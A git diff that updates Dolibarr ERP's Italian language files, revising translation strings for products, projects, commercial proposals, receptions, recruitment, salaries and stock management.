ListProductServiceByPopularity=Elenco dei prodotti/servizi per popolarità ListProductByPopularity=Elenco dei prodotti per popolarità ListServiceByPopularity=Elenco dei servizi per popolarità -Finished=Prodotto creato +Finished=Prodotto fabbricato RowMaterial=Materia prima ConfirmCloneProduct=Vuoi davvero clonare il prodotto / servizio %s ? CloneContentProduct=Clona tutte le informazioni principali del prodotto/servizio @@ -170,13 +171,13 @@ BuyingPrices=Prezzi di acquisto CustomerPrices=Prezzi di vendita SuppliersPrices=Prezzi fornitore SuppliersPricesOfProductsOrServices=Vendor prices (of products or services) -CustomCode=codice Customs|Commodity|HS +CustomCode=Codice doganale | commodity | HS CountryOrigin=Paese d'origine RegionStateOrigin=Regione di origine StateOrigin=Stato|Provincia di origine -Nature=Natura del prodotto (grezzo/lavorato) +Nature=Natura del prodotto (materia prima / finito) NatureOfProductShort=Natura del prodotto -NatureOfProductDesc=Materia prima o prodotto fabbricato +NatureOfProductDesc=Materia prima o prodotto finito ShortLabel=Etichetta breve Unit=Unità p=u. @@ -261,7 +262,7 @@ Quarter1=Primo trimestre Quarter2=Secondo trimestre Quarter3=Terzo trimestre Quarter4=Quarto trimestre -BarCodePrintsheet=Stampa codice a barre +BarCodePrintsheet=Stampa codici a barre PageToGenerateBarCodeSheets=With this tool, you can print sheets of barcode stickers. Choose format of your sticker page, type of barcode and value of barcode, then click on button %s. NumberOfStickers=Numero di etichette da stampare sulla pagina PrintsheetForOneBarCode=Stampa più etichette per singolo codice a barre @@ -274,7 +275,7 @@ DefinitionOfBarCodeForThirdpartyNotComplete=Definition of type or value of barco BarCodeDataForProduct=Barcode information of product %s: BarCodeDataForThirdparty=Barcode information of third party %s: ResetBarcodeForAllRecords=Definisci il valore del codice a barre per tutti quelli inseriti (questo resetta anche i valori già definiti dei codice a barre con nuovi valori) -PriceByCustomer=Prezzi diversi in base al cliente +PriceByCustomer=Prezzi di vendita personalizzati per cliente PriceCatalogue=Prezzo singolo di vendita per prodotto/servizio PricingRule=Reogle dei prezzi di vendita AddCustomerPrice=Aggiungere prezzo dal cliente @@ -344,9 +345,9 @@ PossibleValues=Valori possibili GoOnMenuToCreateVairants=Vai sul menu %s - %s per preparare le varianti degli attributi (come colori, dimensioni, ...) UseProductFournDesc=Aggiungere una funzione per definire la descrizione del prodotto definita dai fornitori (per ogni riferimento del fornitore) oltre alla descrizione per i clienti ProductSupplierDescription=Vendor description for the product -UseProductSupplierPackaging=Utilizzare l'imballaggio sui prezzi del fornitore (ricalcolare le quantità in base all'imballaggio impostato sul prezzo del fornitore quando si aggiunge / aggiorna la riga nei documenti del fornitore) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Confezione -PackagingForThisProductDesc=Su ordine del fornitore, ordinerai automaticamente questa quantità (o un multiplo di questa quantità). Non può essere inferiore alla quantità di acquisto minima +PackagingForThisProductDesc=Acquisterai automaticamente un multiplo di questa quantità. QtyRecalculatedWithPackaging=La quantità della linea è stata ricalcolata in base all'imballaggio del fornitore #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Action only available on the variant of prod ProductsPricePerCustomer=Product prices per customers ProductSupplierExtraFields=Attributi aggiuntivi (prezzi dei fornitori) DeleteLinkedProduct=Elimina il prodotto figlio collegato alla combinazione -AmountUsedToUpdateWAP=Importo da utilizzare per aggiornare il Prezzo Medio Ponderato +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Media ponderata prezzo PMPValueShort=MPP mandatoryperiod=Periodi obbligatori @@ -408,6 +409,23 @@ mandatoryHelper=Selezionare questa opzione se si desidera un messaggio all'utent DefaultBOM=Distinta base predefinita DefaultBOMDesc=La distinta base predefinita consigliata per la fabbricazione di questo prodotto. Questo campo può essere impostato solo se la natura del prodotto è '%s'. Rank=Rango +MergeOriginProduct=Prodotto duplicato (prodotto che desideri eliminare) +MergeProducts=Unisci i prodotti +ConfirmMergeProducts=Sei sicuro di voler unire il prodotto scelto con quello attuale? Tutti gli oggetti collegati (fatture, ordini, ...) verranno spostati nel prodotto corrente, dopodiché il prodotto scelto verrà eliminato. +ProductsMergeSuccess=I prodotti sono stati uniti +ErrorsProductsMerge=Errori nei prodotti si fondono SwitchOnSaleStatus=Attiva lo stato di vendita SwitchOnPurchaseStatus=Attiva lo stato di acquisto -StockMouvementExtraFields=Campi Extra (movimento stock) +UpdatePrice=Increase/decrease customer price +StockMouvementExtraFields= Campi Extra (movimento stock) +InventoryExtraFields= Campi extra (inventario) +ScanOrTypeOrCopyPasteYourBarCodes=Scansiona o digita o copia/incolla i tuoi codici a barre +PuttingPricesUpToDate=Aggiorna i prezzi con i prezzi noti attuali +PMPExpected=PMP previsto +ExpectedValuation=Valutazione attesa +PMPReal=PMP reale +RealValuation=Valutazione reale +ConfirmEditExtrafield = Seleziona l'extrafield che desideri modificare +ConfirmEditExtrafieldQuestion = Sei sicuro di voler modificare questo extrafield? +ModifyValueExtrafields = Modifica il valore di un extrafield +OrProductsWithCategories=Or products with tags/categories diff --git a/htdocs/langs/it_IT/projects.lang b/htdocs/langs/it_IT/projects.lang index b8a3c829254..df6cdac0215 100644 --- a/htdocs/langs/it_IT/projects.lang +++ b/htdocs/langs/it_IT/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Questa visualizzazione mostra tutti i progetti e i compiti che h TasksDesc=Questa visualizzazione mostra tutti i progetti e i compiti (hai i privilegi per vedere tutto). AllTaskVisibleButEditIfYouAreAssigned=Tutte le attività dei progetti validati sono visibili, ma puoi inserire le ore solo nelle attività assegnate all'utente selezionato. Assegna delle attività se hai bisogno di inserirci all'interno delle ore. OnlyYourTaskAreVisible=Sono visibili solo le attività assegnate a te. Se devi inserire l'ora in un'attività e se l'attività non è visibile qui, devi assegnarla a te stesso. +ImportDatasetProjects=Projects or opportunities ImportDatasetTasks=Compiti dei progetti ProjectCategories=Tag/Categorie Progetti NewProject=Nuovo progetto @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Importo delle vendite potenziali per stato OpportunitiesStatusForProjects=Quantità di Lead per stato progetto ShowProject=Visualizza progetto ShowTask=Visualizza compito +SetThirdParty=Set third party SetProject=Imposta progetto +OutOfProject=Out of project NoProject=Nessun progetto definito o assegnato NbOfProjects=Num. di progetti NbOfTasks=Numero attività @@ -122,7 +125,8 @@ ValidateProject=Convalida progetto ConfirmValidateProject=Vuoi davvero convalidare il progetto? CloseAProject=Chiudi il progetto ConfirmCloseAProject=Vuoi davvero chiudere il progetto? -AlsoCloseAProject=Chiudu anche il progetto (mantienilo aperto se hai ancora bisogno di seguire le attività in esso contenute) +AlsoCloseAProject=Also close project +AlsoCloseAProjectTooltip=Keep it open if you still need to follow production tasks on it ReOpenAProject=Apri progetto ConfirmReOpenAProject=Vuoi davvero riaprire il progetto? ProjectContact=Contatti del progetto @@ -165,7 +169,7 @@ OpportunityProbability=Probabilità oppotunità OpportunityProbabilityShort=Probab. opportunità OpportunityAmount=Importo totale opportunità OpportunityAmountShort=Importo totale opportunità -OpportunityWeightedAmount=Importo ponderato per le opportunità +OpportunityWeightedAmount=Amount of opportunity, weighted by probability OpportunityWeightedAmountShort=Opp. importo ponderato OpportunityAmountAverageShort=Importo medio opportunità OpportunityAmountWeigthedShort=Importo pesato opportunità @@ -238,7 +242,7 @@ OppStatusPENDING=In attesa OppStatusWON=Vinto OppStatusLOST=Perso Budget=Budget -AllowToLinkFromOtherCompany=Consenti di collegare progetti di altre società

      Valori supportati:
      - Mantieni vuoto: può collegare qualsiasi progetto dell'azienda (impostazione predefinita)
      - "tutto": può collegare qualsiasi progetto, anche progetti di altre società
      - Un elenco di ID di terze parti separati da virgole: può collegare tutti i progetti di queste terze parti (Esempio: 123,4795,53)
      +AllowToLinkFromOtherCompany=Allow to link an element with a project of other company

      Supported values:
      - Keep empty: Can link elements with any projects in the same company (default)
      - "all": Can link elements with any projects, even projects of other companies
      - A list of third-party ids separated by commas: can link elements with any projects of these third partys (Example: 123,4795,53)
      LatestProjects=Ultimi %s progetti LatestModifiedProjects=Ultimi %s progetti modificati OtherFilteredTasks=Altre attività filtrate @@ -259,7 +263,7 @@ TimeSpentInvoiced=Time spent billed TimeSpentForIntervention=Tempo lavorato TimeSpentForInvoice=Tempo lavorato OneLinePerUser=One line per user -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Service to use on lines by default InvoiceGeneratedFromTimeSpent=Invoice %s has been generated from time spent on project InterventionGeneratedFromTimeSpent=L'intervento %s è stato generato dal tempo dedicato al progetto ProjectBillTimeDescription=Check se inserisci la scheda attività sulle attività del progetto E prevedi di generare fatture dalla scheda attività per fatturare al cliente il progetto (non verificare se si prevede di creare una fattura che non si basa sulle schede attività inserite). Nota: per generare una fattura, vai sulla scheda "Tempo trascorso" del progetto e seleziona le righe da includere. @@ -282,7 +286,7 @@ ProfitIsCalculatedWith=Il profitto viene calcolato utilizzando AddPersonToTask=Aggiungi anche ai seguenti compiti UsageOrganizeEvent=Utilizzo: organizzazione di eventi PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Classifica il progetto come chiuso quando tutte le sue attività sono state completate (avanzamento 100%%) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Nota: i progetti esistenti con tutte le attività allo stato di avanzamento 100%% non saranno interessati: dovrai chiuderli manualmente. Questa opzione ha effetto solo sui progetti aperti. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Note: existing projects with all tasks already set to a progress of 100 %% won't be affected: you will have to close them manually. This option only affects open projects. SelectLinesOfTimeSpentToInvoice=Seleziona le righe di tempo trascorse non fatturate, quindi l'azione collettiva "Genera fattura" per fatturarle ProjectTasksWithoutTimeSpent=Attività di progetto senza tempo speso FormForNewLeadDesc=Grazie per aver compilato il seguente modulo per contattarci. Puoi anche inviarci un'e-mail direttamente a %s . @@ -294,3 +298,4 @@ EnablePublicLeadForm=Abilita il modulo pubblico per il contatto NewLeadbyWeb=Il tuo messaggio o richiesta è stato registrato. Ti risponderemo o ti contatteremo presto. NewLeadForm=Nuovo modulo di contatto LeadFromPublicForm=Lead online da modulo pubblico +ExportAccountingReportButtonLabel=Get report diff --git a/htdocs/langs/it_IT/propal.lang b/htdocs/langs/it_IT/propal.lang index 39f4064ad1b..2c0bcfec158 100644 --- a/htdocs/langs/it_IT/propal.lang +++ b/htdocs/langs/it_IT/propal.lang @@ -54,7 +54,7 @@ NoDraftProposals=Nessuna bozza di preventivo CopyPropalFrom=Crea preventivo da uno esistente CreateEmptyPropal=Crea un preventivo vuoto o dalla lista dei prodotti/servizi DefaultProposalDurationValidity=Durata di validità predefinita per i preventivi (in giorni) -DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal +DefaultPuttingPricesUpToDate=Per impostazione predefinita, aggiorna i prezzi con i prezzi noti correnti durante la clonazione di una proposta UseCustomerContactAsPropalRecipientIfExist=Usa il contatto/indirizzo con la tipologia "Contatto assegnato al preventico" se definito al posto dell'indirizzo del soggetto terzo come indirizzo di destinazione del preventivo ConfirmClonePropal=Vuoi davvero clonare il preventivo%s? ConfirmReOpenProp=Vuoi davvero riaprire il preventivo %s? @@ -65,49 +65,54 @@ AvailabilityPeriod=Tempi di consegna SetAvailability=Imposta i tempi di consegna AfterOrder=dopo ordine OtherProposals=Altre proposte + ##### Availability ##### AvailabilityTypeAV_NOW=Immediato AvailabilityTypeAV_1W=1 settimana AvailabilityTypeAV_2W=2 settimane AvailabilityTypeAV_3W=3 settimane AvailabilityTypeAV_1M=1 mese -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Responsabile del preventivo TypeContact_propal_external_BILLING=Contatto per la fatturazione TypeContact_propal_external_CUSTOMER=Responsabile per il cliente TypeContact_propal_external_SHIPPING=Contatto cliente per la consegna + # Document models -DocModelAzurDescription=Un modello completo PDF di proposta cliente (vecchia implementazione del modello Cyan) -DocModelCyanDescription=Modello di preventivo completo +CantBeNoSign=non può essere impostato non firmato +CaseFollowedBy=Caso seguito da +ConfirmMassNoSignature=Bulk Conferma non firmata +ConfirmMassNoSignatureQuestion=Sei sicuro di voler impostare non firmati i record selezionati? +ConfirmMassSignature=Conferma della firma in blocco +ConfirmMassSignatureQuestion=Sei sicuro di voler firmare i record selezionati? +ConfirmMassValidation=Conferma di convalida in blocco +ConfirmMassValidationQuestion=Sei sicuro di voler convalidare i record selezionati? +ConfirmRefusePropal=Sei sicuro di voler rifiutare questa proposta commerciale? +ContractSigned=Contratto firmato +DefaultModelPropalClosed=Modello predefinito quando si chiude un preventivo (da non fatturare) DefaultModelPropalCreate=Creazione del modello predefinito DefaultModelPropalToBill=Modello predefinito quando si chiude un preventivo (da fatturare) -DefaultModelPropalClosed=Modello predefinito quando si chiude un preventivo (da non fatturare) +DocModelAzurDescription=Un modello completo PDF di proposta cliente (vecchia implementazione del modello Cyan) +DocModelCyanDescription=Modello di preventivo completo +FichinterSigned=Intervention signed +IdProduct=ID prodotto +IdProposal=ID proposta +IsNotADraft=non è una bozza +LineBuyPriceHT=Prezzo netto di acquisto (IVA Escl.) per riga +NoSign=Rifiuta +NoSigned=set non firmato +PassedInOpenStatus=è stato convalidato +PropalAlreadyRefused=Proposta già rifiutata +PropalAlreadySigned=Proposta già accettata +PropalRefused=Proposta rifiutata +PropalSigned=Proposta accettata ProposalCustomerSignature=Accettazione scritta, timbro, data e firma ProposalsStatisticsSuppliers=Statistiche preventivi fornitori -CaseFollowedBy=Caso seguito da -SignedOnly=Solo firmato -NoSign=Set not signed -NoSigned=set not signed -CantBeNoSign=cannot be set not signed -ConfirmMassNoSignature=Bulk Not signed confirmation -ConfirmMassNoSignatureQuestion=Are you sure you want to set not signed the selected records ? -IsNotADraft=is not a draft -PassedInOpenStatus=has been validated -Sign=Firma -Signed=signed -ConfirmMassValidation=Bulk Validate confirmation -ConfirmMassSignature=Bulk Signature confirmation -ConfirmMassValidationQuestion=Are you sure you want to validate the selected records ? -ConfirmMassSignatureQuestion=Are you sure you want to sign the selected records ? -IdProposal=ID proposta -IdProduct=ID prodotto -LineBuyPriceHT=Prezzo di acquisto Importo al netto delle tasse per riga -SignPropal=Accetta proposta RefusePropal=Rifiuta la proposta Sign=Firma -NoSign=Set not signed -PropalAlreadySigned=Proposta già accettata -PropalAlreadyRefused=Proposta già rifiutata -PropalSigned=Proposta accettata -PropalRefused=Proposta rifiutata -ConfirmRefusePropal=Sei sicuro di voler rifiutare questa proposta commerciale? +SignContract=Firma il contratto +SignFichinter=Sign intervention +SignPropal=Accetta proposta +Signed=firmato +SignedOnly=Solo firmato diff --git a/htdocs/langs/it_IT/receiptprinter.lang b/htdocs/langs/it_IT/receiptprinter.lang index 566f762bbbd..b77e8c0fe27 100644 --- a/htdocs/langs/it_IT/receiptprinter.lang +++ b/htdocs/langs/it_IT/receiptprinter.lang @@ -7,7 +7,7 @@ TestSentToPrinter=Stampa di prova inviata a %s ReceiptPrinter=Receipt printers ReceiptPrinterDesc=Configurazione stampa ricevute ReceiptPrinterTemplateDesc=Setup of Templates -ReceiptPrinterTypeDesc=Description of Receipt Printer's type +ReceiptPrinterTypeDesc=Esempio di possibili valori per il campo "Parametri" in base al tipo di driver ReceiptPrinterProfileDesc=Description of Receipt Printer's Profile ListPrinters=Lista delle stampanti SetupReceiptTemplate=Template Setup @@ -55,8 +55,8 @@ DOL_DEFAULT_HEIGHT_WIDTH=Altezza e larghezza predefinite DOL_UNDERLINE=Abilita sottolineatura DOL_UNDERLINE_DISABLED=Disabilita la sottolineatura DOL_BEEP=Suono di Beep -DOL_BEEP_ALTERNATIVE=Suono di Beep (modalità alternativa) -DOL_PRINT_CURR_DATE=Stampa la data/ora corrente +DOL_BEEP_ALTERNATIVE=Segnale acustico (modalità alternativa) +DOL_PRINT_CURR_DATE=Stampa data/ora corrente DOL_PRINT_TEXT=Stampa il testo DateInvoiceWithTime=Data e ora della fattura YearInvoice=Anno della fattura diff --git a/htdocs/langs/it_IT/receptions.lang b/htdocs/langs/it_IT/receptions.lang index 8549d23a51e..1d0453a9620 100644 --- a/htdocs/langs/it_IT/receptions.lang +++ b/htdocs/langs/it_IT/receptions.lang @@ -1,54 +1,54 @@ # Dolibarr language file - Source file is en_US - receptions -ReceptionDescription=Gestione accoglienza fornitori (Crea documenti di accoglienza) -ReceptionsSetup=Configurazione della reception del fornitore -RefReception=Ref. reception -Reception=In ricezione -Receptions=Receptions -AllReceptions=All Receptions -Reception=In ricezione -Receptions=Receptions -ShowReception=Show Receptions -ReceptionsArea=Receptions area -ListOfReceptions=List of receptions -ReceptionMethod=Reception method +ReceptionDescription=Gestione ricezione prodotti (Crea documenti di ricezione) +ReceptionsSetup=Configurazione delle ricezioni fornitore +RefReception=Rif. ricezione +Reception=Ricezione +Receptions=Ricezioni +AllReceptions=Tutte le ricezioni +Reception=Ricezione +Receptions=Ricezioni +ShowReception=Mostra Ricezioni +ReceptionsArea=Area ricezioni +ListOfReceptions=Elenco ricezioni +ReceptionMethod=Modalità ricezione LastReceptions=Ultime %s ricezioni -StatisticsOfReceptions=Statistics for receptions +StatisticsOfReceptions=Statistiche ricezioni NbOfReceptions=Numero di ricezioni NumberOfReceptionsByMonth=Numero di ricezioni per mese -ReceptionCard=Reception card -NewReception=New reception -CreateReception=Create reception -QtyInOtherReceptions=Qty in other receptions -OtherReceptionsForSameOrder=Other receptions for this order +ReceptionCard=Ricezione prodotti +NewReception=Nuova ricezione +CreateReception=Crea ricezione +QtyInOtherReceptions=Qtà altre ricezioni +OtherReceptionsForSameOrder=Altre ricezioni per questo ordine ReceptionsAndReceivingForSameOrder=Ricezioni per questo ordine -ReceptionsToValidate=Receptions to validate +ReceptionsToValidate=Ricezioni da convalidare StatusReceptionCanceled=Annullata StatusReceptionDraft=Bozza StatusReceptionValidated=Convalidato (prodotti da ricevere o già ricevuti) StatusReceptionValidatedToReceive=Convalidato (prodotti da ricevere) StatusReceptionValidatedReceived=Convalidato (prodotti ricevuti) -StatusReceptionProcessed=Processato +StatusReceptionProcessed=Elaborato StatusReceptionDraftShort=Bozza StatusReceptionValidatedShort=Convalidato -StatusReceptionProcessedShort=Processato -ReceptionSheet=Reception sheet -ConfirmDeleteReception=Are you sure you want to delete this reception? -ConfirmValidateReception=Are you sure you want to validate this reception with reference %s? -ConfirmCancelReception=Are you sure you want to cancel this reception? -StatsOnReceptionsOnlyValidated=Statistics conducted on receptions only validated. Date used is date of validation of reception (planed delivery date is not always known). -SendReceptionByEMail=Send reception by email -SendReceptionRef=Submission of reception %s -ActionsOnReception=Events on reception +StatusReceptionProcessedShort=Elaborato +ReceptionSheet=Foglio ricezione +ValidateReception=Convalida ricezione +ConfirmDeleteReception=Confermi elminazione ricezione? +ConfirmValidateReception=Confermi validazione ricezione %s ? +ConfirmCancelReception=Confermi annullamento ricezione? +StatsOnReceptionsOnlyValidated=Statitiche solo per ricezioni validate. La data utilizzata è la data di convalida della ricezione (la data di consegna pianificata non è sempre nota). +SendReceptionByEMail=Invia ricezione via e-mail +SendReceptionRef=Invio della ricezione %s +ActionsOnReception=Azioni sulla ricezione ReceptionCreationIsDoneFromOrder=Per il momento, la creazione di una nuova ricezione avviene dall'Ordine di Acquisto. -ReceptionLine=Reception line +ReceptionLine=Riga ricezione ProductQtyInReceptionAlreadySent=Quantità del prodotto dall'ordine cliente aperto già inviato ProductQtyInSuppliersReceptionAlreadyRecevied=Quantità prodotto dall'ordine fornitore aperto già ricevuto -ValidateOrderFirstBeforeReception=You must first validate the order before being able to make receptions. -ReceptionsNumberingModules=Numbering module for receptions -ReceptionsReceiptModel=Document templates for receptions +ValidateOrderFirstBeforeReception=E' necessario validare l'ordine prima di poter creare ricezioni. +ReceptionsNumberingModules=Modulo per la generazione codici ricezione +ReceptionsReceiptModel=Modelli generazione documenti NoMorePredefinedProductToDispatch=Non ci sono più prodotti predefiniti da spedire -ReceptionExist=Esiste un ricevimento -ByingPrice=Prezzo di vendita -ReceptionBackToDraftInDolibarr=Ricevimento %s torna alla bozza -ReceptionClassifyClosedInDolibarr=Ricevimento %s classificato Chiuso -ReceptionUnClassifyCloseddInDolibarr=Ricevimento %s ri-aperto +ReceptionExist=Esiste una ricezione +ReceptionBackToDraftInDolibarr=Ricezione %s ritornato a bozza +ReceptionClassifyClosedInDolibarr=Ricezione %s classificato Chiusa +ReceptionUnClassifyCloseddInDolibarr=Ricezione %s ri-aperta diff --git a/htdocs/langs/it_IT/recruitment.lang b/htdocs/langs/it_IT/recruitment.lang index 0a6a28cc8dc..185761f9f08 100644 --- a/htdocs/langs/it_IT/recruitment.lang +++ b/htdocs/langs/it_IT/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=Reclutatore di posta elettronica ToUseAGenericEmail=Per utilizzare un'e-mail generica. Se non definita, verrà utilizzata l'e-mail del responsabile del reclutamento NewCandidature=Nuova applicazione ListOfCandidatures=Elenco delle applicazioni -RequestedRemuneration=Compenso richiesto -ProposedRemuneration=Compenso proposto +Remuneration=Stipendio +RequestedRemuneration=Stipendio richiesto +ProposedRemuneration=Stipendio proposto ContractProposed=Proposta di contratto ContractSigned=Contratto firmato ContractRefused=Contratto rifiutato RecruitmentCandidature=Applicazione JobPositions=Posizione lavorativa RecruitmentCandidatures=Applicazioni -InterviewToDo=Intervista da fare +InterviewToDo=Contatti da seguire AnswerCandidature=Risposta dell'applicazione YourCandidature=La tua applicazione YourCandidatureAnswerMessage=Grazie per la tua candidatura.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=La posizione lavorativa è chiusa. ExtrafieldsJobPosition=Attributi complementari (posizioni lavorative) ExtrafieldsApplication=Attributi complementari (domande di lavoro) MakeOffer=Fare un'offerta +WeAreRecruiting=Stiamo reclutando. Questo è un elenco di posizioni aperte da ricoprire... +NoPositionOpen=Nessuna posizione aperta al momento diff --git a/htdocs/langs/it_IT/salaries.lang b/htdocs/langs/it_IT/salaries.lang index 0610072266c..309bb8c2628 100644 --- a/htdocs/langs/it_IT/salaries.lang +++ b/htdocs/langs/it_IT/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Piano dei conti usato per utenti di soggetti terzi -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated accounting account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Codice contabile predefinito per i pagamenti degli stipendi CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Per impostazione predefinita, lascia vuota l'opzione "Crea automaticamente un pagamento totale" quando crei uno stipendio Salary=Stipendio diff --git a/htdocs/langs/it_IT/stocks.lang b/htdocs/langs/it_IT/stocks.lang index 449ef8f72af..b887f5a223e 100644 --- a/htdocs/langs/it_IT/stocks.lang +++ b/htdocs/langs/it_IT/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Data in futuro StocksByLotSerial=Scorte per lotto / seriale LotSerial=Lotti / Seriali LotSerialList=Elenco lotti / seriali +SubjectToLotSerialOnly=Prodotti soggetti solo a lotto/numero di serie Movements=Movimenti ErrorWarehouseRefRequired=Il nome della referenza di magazzino è obbligatorio ListOfWarehouses=Elenco magazzini @@ -48,7 +49,7 @@ StockCorrection=Variazioni scorte CorrectStock=Variazione scorte StockTransfer=Movimento scorte TransferStock=Trasferimento scorte -MassStockTransferShort=Trasferimento di massa magazzino +MassStockTransferShort=Bulk stock change StockMovement=Movimento scorte StockMovements=Movimenti scorte NumberOfUnit=Numero di unità @@ -73,17 +74,17 @@ QtyDispatched=Quantità ricevuta QtyDispatchedShort=Q.ta ricevuta QtyToDispatchShort=Q.ta da ricevere OrderDispatch=Ricezione prodotti -RuleForStockManagementDecrease=Choose Rule for automatic stock decrease (manual decrease is always possible, even if an automatic decrease rule is activated) -RuleForStockManagementIncrease=Choose Rule for automatic stock increase (manual increase is always possible, even if an automatic increase rule is activated) -DeStockOnBill=Decrease real stocks on validation of customer invoice/credit note +RuleForStockManagementDecrease=Seleziona la regola per la diminuzione automatica delle scorte (la diminuzione manuale è sempre possibile, anche se la diminuzione automatica è attivata). +RuleForStockManagementIncrease=Seleziona la regola per l'incremento automatico delle scorte (l'incremento manuale è sempre possibile, anche se l'incremento automatico è attivato). +DeStockOnBill=Diminuire le scorte fisiche/reali alla convalida della fattura attiva / nota di credito DeStockOnValidateOrder=Diminuire le scorte fisiche/reali alla convalida degli ordini cliente DeStockOnShipment=Diminuire le scorte fisiche/reali alla convalida della spedizione DeStockOnShipmentOnClosing=Diminuire le scorte fisiche/reali quando la spedizione viene chiusa. -ReStockOnBill=Increase real stocks on validation of vendor invoice/credit note -ReStockOnValidateOrder=Increase real stocks on purchase order approval -ReStockOnDispatchOrder=Increase real stocks on manual dispatching into warehouse, after purchase order receipt of goods -StockOnReception=Increase real stocks on validation of reception -StockOnReceptionOnClosing=Increase real stocks when reception is set to closed +ReStockOnBill=Aumentare le scorte reali alla convalida delle fatture/note di credito fornitore +ReStockOnValidateOrder=Aumenta scorte effettive all'approvazione dell'ordine fornitore +ReStockOnDispatchOrder=Aumentare le scorte reali durante la ricezione manuale in magazzino, dopo il ricevimento della merce dell'ordine fornitore +StockOnReception=Aumentare le scorte reali alla convalida della ricezione +StockOnReceptionOnClosing=Aumentare le scorte reali quando la ricezione viene chiusa OrderStatusNotReadyToDispatch=Lo stato dell'ordine non ne consente la spedizione dei prodotti a magazzino. StockDiffPhysicTeoric=Explanation for difference between physical and virtual stock NoPredefinedProductToDispatch=Per l'oggetto non ci sono prodotti predefiniti. Quindi non è necessario alterare le scorte. @@ -141,19 +142,20 @@ WarehouseForStockIncrease=Il magazzino %s sarà usato per l'aumento delle ForThisWarehouse=Per questo magazzino ReplenishmentStatusDesc=Questa è una lista di tutti i prodotti con una giacenza inferiore a quella desiderata (o inferiore al valore di allarme se la casella "solo allarme" è selezionata). Utilizzando la casella di controllo, è possibile creare ordini fornitori per colmare la differenza. ReplenishmentStatusDescPerWarehouse=Se si desidera un rifornimento basato sulla quantità desiderata definita per magazzino, è necessario aggiungere un filtro al magazzino. -ReplenishmentOrdersDesc=This is a list of all open purchase orders including predefined products. Only open orders with predefined products, so orders that may affect stocks, are visible here. +ReplenishmentOrdersDesc=Questa è l'elenco degli ordini fornitori aperti che includono prodotti predefiniti. Sono visibili qui, solamente gli ordini fornitori aperti con prodotti predefiniti, ossia gli ordini che possono ancora influire sulle scorte. Replenishments=Rifornimento NbOfProductBeforePeriod=Quantità del prodotto %s in magazzino prima del periodo selezionato (< %s) NbOfProductAfterPeriod=Quantità del prodotto %s in magazzino dopo il periodo selezionato (< %s) MassMovement=Movimentazione di massa -SelectProductInAndOutWareHouse=Seleziona un magazzino di origine e un magazzino di destinazione, un prodotto e una quantità, quindi fai clic su "%s". Una volta fatto questo per tutti i movimenti richiesti, fare clic su "%s". +SelectProductInAndOutWareHouse=Select a source warehouse (optional), a target warehouse, a product and a quantity then click "%s". Once this is done for all required movements, click on "%s". RecordMovement=Record transfer +RecordMovements=Record stock movements ReceivingForSameOrder=Ricezioni per questo ordine StockMovementRecorded=Movimentazione di scorte registrata RuleForStockAvailability=Regole sulla fornitura delle scorte -StockMustBeEnoughForInvoice=Stock level must be enough to add product/service to invoice (check is done on current real stock when adding a line into invoice whatever the rule for automatic stock change) -StockMustBeEnoughForOrder=Stock level must be enough to add product/service to order (check is done on current real stock when adding a line into order whatever the rule for automatic stock change) -StockMustBeEnoughForShipment= Stock level must be enough to add product/service to shipment (check is done on current real stock when adding a line into shipment whatever the rule for automatic stock change) +StockMustBeEnoughForInvoice=Il livello delle scorte deve essere sufficiente per aggiungere prodotti/servizi alla fattura (il controllo viene eseguito sulle scorte reali correnti quando si aggiunge una riga alla fattura, qualunque sia la regola per il cambio automatico delle scorte) +StockMustBeEnoughForOrder=Il livello delle scorte deve essere sufficiente per aggiungere prodotti/servizi all'ordine (il controllo viene eseguito sulle scorte reali correnti quando si aggiunge una riga all'ordine, qualunque sia la regola per il cambio automatico delle scorte) +StockMustBeEnoughForShipment= Il livello delle scorte deve essere sufficiente per aggiungere prodotti/servizi alla spedizione (il controllo viene eseguito sulle scorte reali correnti quando si aggiunge una riga alla spedizione, qualunque sia la regola per il cambio automatico delle scorte) MovementLabel=Etichetta per lo spostamento di magazzino TypeMovement=Direzione del movimento DateMovement=Date of movement @@ -166,7 +168,7 @@ ShowWarehouse=Mostra magazzino MovementCorrectStock=Correzione scorte per il prodotto %s MovementTransferStock=Trasferisci scorte del prodotto %s in un altro magazzino InventoryCodeShort=Codice di inventario o di spostamento -NoPendingReceptionOnSupplierOrder=No pending reception due to open purchase order +NoPendingReceptionOnSupplierOrder=Nessuna ricezione in sospeso dovuta ad ordini fornitori aperti ThisSerialAlreadyExistWithDifferentDate=Questo lotto/numero seriale (%s) esiste già con una differente data di scadenza o di validità (trovata %s, inserita %s ) OpenAnyMovement=Aperto (tutti i movimenti) OpenInternal=Aperto (solo movimento interno) @@ -176,7 +178,7 @@ ProductStockWarehouseCreated=Stock limit for alert and desired optimal stock cor ProductStockWarehouseUpdated=Stock limit for alert and desired optimal stock correctly updated ProductStockWarehouseDeleted=Stock limit for alert 